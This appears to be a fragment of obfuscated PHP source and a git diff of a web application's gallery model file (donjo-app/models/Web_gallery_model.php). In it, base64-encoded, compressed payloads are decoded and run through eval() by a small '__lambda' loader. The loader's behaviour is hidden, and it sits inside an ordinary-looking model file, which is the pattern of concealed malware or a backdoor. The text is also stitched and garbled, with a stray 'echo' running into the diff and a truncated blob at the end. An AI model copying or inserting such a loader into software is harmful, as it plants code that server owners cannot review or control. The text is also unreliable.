whxqzI7Ao4/fEwcyredj/YhHv2tqth0ocW4/Pgue1POf5/t6USdTbw+FfFiae0rjQ3EdMOkdMzWgIe3IXK8NTutEk+fT3pKr5xetk5op+j2EABOQFaaPfaXAY4v4O/GCqlxnasuAzQC8hHXQV2ogSs4u/Jnvn1Pj+oya/d6ZmvoUlrfOosw8Q3OBp2xt9xbv//PLH7/88r//Jdt/kp//jP/6zz/ueTzzbJ0H/3Ge8J9f8P9f/iudNt35f/zy+e/zX/HfL3ka+meOaCkJ/ecf/wPfo/mu'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Web_gallery_model.php b/donjo-app/models/Web_gallery_model.php index 4d06c70b8..79146fe02 100644 --- a/donjo-app/models/Web_gallery_model.php +++ b/donjo-app/models/Web_gallery_model.php @@ -256,7 +256,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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